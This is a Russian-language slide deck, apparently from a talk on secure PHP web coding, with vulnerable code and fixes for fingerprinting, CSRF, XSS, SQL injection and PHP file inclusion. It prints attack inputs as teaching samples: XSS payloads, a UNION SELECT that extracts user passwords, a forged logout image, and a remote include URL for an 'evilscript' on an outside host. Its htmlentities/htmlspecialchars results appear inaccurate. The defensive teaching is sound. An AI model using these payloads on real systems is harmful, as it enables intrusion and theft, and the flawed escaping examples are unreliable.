Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)

Максим “Arrim” Попов

Безопасный кодинг
хакеры нас не достанут

WHOAMI
Maxim “Arrim” Popov
Backend разработчик
@Arrim_kz

Fingerprint
Позволяет узнать какой движок или framework вы используете.
Тем самым хакер может воспользоваться уже известной
уязвимостью, которую вы не успели закрыть.
Так же боты используют Fingerprint для поиска уязвимых
сайтов.

Fingerprint в wordpress
В header страницы:
<meta name="generator"
content="WordPress 4.3.1">
В RSS:
<generator>http://wordpress.org/?v=
4.3.1</generator>
При подключении стилей и скриптов:
<link rel='stylesheet'
id='dashicons-css'
href='http://your_site/core/wp-incl
udes/css/dashicons.min.css?ver=4.3.
1' type='text/css' media='all' />

Fingerprint в wordpress
В header страницы:
<meta name="generator"
content="WordPress 4.3.1">
В RSS:
<generator>http://wordpress.org/?v=
4.3.1</generator>
При подключении стилей и скриптов:
<link rel='stylesheet'
id='dashicons-css'
href='http://your_site/core/wp-incl
udes/css/dashicons.min.css?ver=4.3.
1' type='text/css' media='all' />
В functions.php:
add_filter('the_generator',
'__return_empty_string');
function rem_wp_ver_css_js ($src) {
if (strpos($src, 'ver='))
$src =
remove_query_arg('ver', $src);
return $src;
}
add_filter ('style_loader_src',
'rem_wp_ver_css_js', 9999);
add_filter ('script_loader_src',
'rem_wp_ver_css_js', 9999);

[название движка] скрыть версию

Вывод ошибок

ini_set('display_errors','Off');

Извините, у нас обед ошибка

CSRF
CSRF (англ. Сross Site Request Forgery — «Подделка
межсайтовых запросов», также известен как XSRF) — вид атак
на посетителей веб-сайтов. Если жертва заходит на сайт,
созданный злоумышленником, от её лица тайно отправляется
запрос на другой сервер (например, на сервер платёжной
системы), осуществляющий некую вредоносную операцию
(например, перевод денег на счёт злоумышленника).

CSRF
Метод: logOutAction()
[/logout]
...
$this->auth->remove();
...
<a href="/logout">Выйти</a>
Опасная картинка:
<img src="/logout">

CSRF
if($this->security->checkToken())
{
$this->auth->remove();
}
…
<a href="/logout?<?= $this->security->getTokenKey(); ?>=<?=
$this->security->getToken(); ?>">Выйти</a>

XSS
XSS (англ. Cross-Site Scripting — «межсайтовый скриптинг») —
тип атаки на веб-системы, заключающийся во внедрении в
выдаваемую веб-системой страницу вредоносного кода (который
будет выполнен на компьютере пользователя при открытии им
этой страницы) и взаимодействии этого кода с веб-сервером
злоумышленника.

XSS
Уязвимый код:
<title>
<?php echo $_GET['query'] ?>
</title>
Запрос хакера:
<script>
alert("HACK!")
</script>

Защита от XSS: strip_tags
<title>
<?php echo
strip_tags($_GET['query']) ?>
</title>
Результат:
<title>
alert("HACK!")
</title>
<input value="<?php
strip_tags($_GET['query']); ?>">
" onClick="alert(‘HACK!’);
Результат:
<input value=""
onClick="alert('HACK!');">

Защита от XSS: strip_tags
<title>
<?php echo
strip_tags($_GET['query']) ?>
</title>
Результат:
<title>
alert("HACK!")
</title>

htmlentities() и htmlspecialchars()
<input value="<?php
htmlentities($_GET['query']); ?>">
Результат:
<input value=""
onClick="alert('HACK!')"">
<input value="<?php
htmlspecialchars($_GET['query']); ?>">
Результат:
<input value=""
onClick="alert('HACK!')"">

SQL injection
Внедрение SQL-кода (англ. SQL injection) — один из
распространённых способов взлома сайтов и программ,
работающих с базами данных, основанный на внедрении в запрос
произвольного SQL-кода.

SQL injection
$news_id = $_GET['id'];
mysqli_query($link,
"SELECT * FROM news WHERE id =
$news_id");
news.php?news_id=-1 UNION SELECT
name,2,pass,4,5 FROM users WHERE
id=1
Результат:
SELECT * FROM news
WHERE id = -1
UNION SELECT name,2,pass,4,5 FROM
users WHERE id=1

SQL injection
$news_id = (int) $_GET['id'];
mysqli_query($link,
"SELECT * FROM news WHERE id =
$news_id");
news.php?news_id=-1 UNION SELECT
name,2,pass,4,5 FROM users WHERE
id=1
Результат:
SELECT * FROM news
WHERE id = -1

mysqli_real_escape_string()

SQL injection
Articles::find(array(
"title LIKE :search:",
"bind" => array(
"search" => "%".$this->request->getQuery("s")."%",
),
));

PHP injection
PHP-инъекция (англ. PHP injection) — один из способов взлома
веб-сайтов, работающих на PHP, заключающийся в выполнении
постороннего кода на серверной стороне.

PHP injection
eval()
preg_replace() (с модификатором «e»)
require_once()
include_once()
include()
require()
create_function()
$module = $_GET['module'];
include $module . '.php';
?module=http://slider.kz/evilscript

Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)

More Related Content

Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)